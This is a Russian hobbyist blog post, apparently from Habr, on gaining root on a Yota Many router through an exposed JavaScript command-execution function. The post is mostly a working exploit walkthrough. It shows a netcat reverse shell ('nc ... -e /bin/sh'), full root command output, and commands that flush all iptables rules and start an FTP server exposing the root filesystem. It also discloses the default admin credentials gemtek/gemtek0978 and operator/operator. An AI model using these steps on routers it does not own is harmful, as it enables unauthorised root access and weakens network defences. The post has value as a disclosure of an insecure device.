Добрый день!
Как Вы думаете, каким минимальным количеством инструментов можно получить SSH-доступ к роутеру Yota Many?
А SSH-доступ с root-правами?
Вы, скорее всего удивитесь, но ответ — двумя, в обоих случаях. Это Ваш браузер и Netcat.
Я очень удивился, когда случайно в списке подключаемых JS-скриптов на странице http://status.yota.ru/
я увидел
этот http://status.yota.ru/js/devControl.js
, а в нём вот такую функцию:
function cmsSystem(s,callback) {
if (simulator) {
setTimeout(function () { callback(0); },100);
return;
}
var r={};
r.authparam=calcAuthParam();
r.system=s;
r.command="system";
$.post(
devCtrlUrl, r, callback, "json"
).error(devErrorHandler);
}
А использовалась эта функция, в этом же файле, например, так:
cmsSystem(
"( killall up_cli ; rm -rf /mnt/jffs2/upload/* ) 1>/dev/null 2>/dev/null",
function() { callback(true); }
);
Чувствуете чем пахнет?
Да, эта функция выполняла команду в консоли роутера, но вывода результата она не имела (ну, точнее имела, но не совсем результата).
Тогда я решил поступить следующим образом.
Первое, что нам нужно — скачать Netcat(Windows, Unix) и запустить его с параметрами:
nc -n -vv -l -p 5566
Где:
- 5566 — порт на нашем компьютере, на котором Netcat будет ждать соеденения.
Получаем следующее:
listening on [any] 5566 ...
Второе — запустить браузер и перейти в консоль JavaScript (в Google Chrome — F12, вкладка Console) и ввести команду:
cmsSystem("nc 10.0.0.33 5566 -e /bin/sh", null);
Где:
- 10.0.0.33 — IP-адрес выданный Вашему компьютеру роутером.
- 5566 — порт на нашем компьютере, на котором мы ждем подключения.
Через мгновение в нашей консоли мы увидим:
connect to [10.0.0.33] from (UNKNOWN) [10.0.0.2] 48656
После чего смело выполняем команды так, как будто мы это делали по SSH (все команды выполняются от имени root).
id
uid=0(root) gid=0(root)
uname -a
Linux 9615-cdp 3.0.21+ #1 PREEMPT Tue Apr 30 18:09:49 CST 2013 armv7l GNU/Linux
cat /proc/version
Linux version 3.0.21+ (kevin@kevin-android-build-system) (gcc ver1117 (prerelease) (GCC))
#1 PREEMPT Tue Apr 30 18:09:49 CST 2013
cat /proc/cpuinfo
Processor : ARMv7 Processor rev 1 (v7l)
BogoMIPS : 274.02
Features : swp half thumb fastmult vfp edsp neon vfpv3 tls vfpv4
CPU implementer : 0x41
CPU architecture: 7
CPU variant : 0x0
CPU part : 0xc05
CPU revision : 1
Hardware : QCT MSM9615 CDP
Revision : 0000
Serial : 0000000000000000
cat /proc/meminfo
MemTotal: 44184 kB
MemFree: 2476 kB
Buffers: 0 kB
Cached: 10108 kB
SwapCached: 0 kB
Active: 13868 kB
Inactive: 4840 kB
Active(anon): 8652 kB
Inactive(anon): 16 kB
Active(file): 5216 kB
Inactive(file): 4824 kB
Unevictable: 0 kB
Mlocked: 0 kB
HighTotal: 0 kB
HighFree: 0 kB
LowTotal: 44184 kB
LowFree: 2476 kB
SwapTotal: 0 kB
SwapFree: 0 kB
Dirty: 0 kB
Writeback: 0 kB
AnonPages: 8616 kB
Mapped: 5388 kB
Shmem: 68 kB
Slab: 16900 kB
SReclaimable: 11744 kB
SUnreclaim: 5156 kB
KernelStack: 1336 kB
PageTables: 1216 kB
NFS_Unstable: 0 kB
Bounce: 0 kB
WritebackTmp: 0 kB
CommitLimit: 22092 kB
Committed_AS: 484816 kB
VmallocTotal: 827392 kB
VmallocUsed: 301728 kB
VmallocChunk: 519164 kB
free -m
total used free shared buffers
Mem: 43 40 2 0 0
-/+ buffers: 40 2
Swap: 0 0 0
df -h
Filesystem Size Used Available Use% Mounted on
/dev/root 33.6M 30.1M 3.5M 90% /
tmpfs 21.6M 52.0K 21.5M 0% /tmp
none 21.6M 8.0K 21.6M 0% /dev
tmpfs 21.6M 4.0K 21.6M 0% /dev/shm
/dev/mtdblock15 44.1M 1.4M 42.7M 3% /mnt/jffs2
/dev/mtdblock10 28.8M 19.9M 8.9M 69% /usr
top
Mem: 41756K used, 2428K free, 0K shrd, 0K buff, 10136K cached
CPU: 30.7% usr 23.0% sys 0.0% nic 46.1% idle 0.0% io 0.0% irq 0.0% sirq
Load average: 1.01 1.09 1.11 1/167 8372
m PID PPID USER STAT VSZ %MEM CPU %CPU COMMAND
8372 4979 root R 3040 6.8 0 23.0 top
862 1 root S 96700218.3 0 0.0 QCMAP_ConnectionManager /etc/mobil
672 1 root S 86448195.2 0 0.0 /usr/bin/qmuxd
864 1 root S 46288104.5 0 0.0 lte_cm
691 1 root S 44960101.5 0 0.0 /usr/bin/netmgrd -u /etc/udhcpc.d/
644 1 root S 36400 82.2 0 0.0 qti
4368 1 root S 36384 82.1 0 0.0 /usr/bin/cxmapp
602 1 root S 34588 78.1 0 0.0 /bin/msg_center
540 1 root S 25424 57.4 0 0.0 /sbin/adbd
707 688 root S 20396 46.0 0 0.0 /usr/bin/mbimd
663 1 root S 20212 45.6 0 0.0 /usr/bin/atfwd_daemon
1211 1 root S 18272 41.2 0 0.0 /yota/cgi-bin/wpdaemon.cgi start
775 1 root S 18140 40.9 0 0.0 /bin/user_in_ctl server
657 1 root S 11604 26.2 0 0.0 /usr/bin/diagrebootapp
783 1 root S 9940 22.4 0 0.0 /bin/epd_ctl
1116 1 root S 4992 11.2 0 0.0 lighttpd -f /etc2/lighttpd/lighttp
619 612 root S 4368 9.8 0 0.0 up_cli
4544 1 root S 3908 8.8 0 0.0 hostapd -B /tmp/hostapd1.conf
612 1 root S 3040 6.8 0 0.0 /bin/sh /yota/up_cli_watchdog.sh
4274 1 root S 3040 6.8 0 0.0 /bin/sh /bin/modem_led.sh
iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP all -- anywhere 10.0.0.0/24
Chain FORWARD (policy ACCEPT)
target prot opt source destination
DROP all -- anywhere anywhere
DROP all -- anywhere 10.0.0.4
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Устройство, мягко говоря, не блещет производительностью.
У меня не получилось поставить что-либо через ipkg, из-за малого количества оперативки и отсутствия SWAP — ipkg постоянно падает с «segmentation fault» (может у меня руки кривые?)
Включаем стандартную админ-панель производителя
Включаем встроенный FTP-сервер
Для начала нам надо почистить iptables:
cmsSystem("iptables -F", null);
cmsSystem("iptables -X", null);
cmsSystem("iptables -t nat -F", null);
cmsSystem("iptables -t nat -X", null);
cmsSystem("iptables -t mangle -F", null);
cmsSystem("iptables -t mangle -X", null);
cmsSystem("iptables -P INPUT ACCEPT", null);
cmsSystem("iptables -P FORWARD ACCEPT", null);
cmsSystem("iptables -P OUTPUT ACCEPT", null);
После чего перезагрузить роутер:
rebootDevice(null);
Далее включаем FTP-сервер:
cmsSystem("tcpsvd -vE 0.0.0.0 21 ftpd -w /", null);
И любым FTP-клиентом заходим на ftp://10.0.0.1:21/
Идем в /etc2/lighttpd/
и правим lighttpd.conf
, добавляем после $HTTP["host"] == "status.yota.ru" { ... }
вот это:
$HTTP["host"] == "full.yota.ru" {
server.document-root = "/www/"
}
Идем в /etc/
и правим hosts
, добавляем в конце файла:
10.0.0.1 full.yota.ru
Переходим в браузере по адресу http://full.yota.ru/.
Вводим имя пользователя gemtek
и пароль gemtek0978
(или operator
, пароль operator
).
Наслаждаемся нормальной, не урезанной административной панелью:
Имена пользователей находятся в /mnt/jffs2/conf/user/ui.conf
, пароли в /mnt/jffs2/conf/user/httpasswd.conf
Пароли настоятельно рекомендую изменить!
На этом моё баловство закончилось, но я надеюсь, что в комментариях подскажут как побороть проблемы с ipkg и восстановлением состояния iptables после перезагрузки(которое, кстати, не влияет на FTP сервер).
Автор: dkuzevanov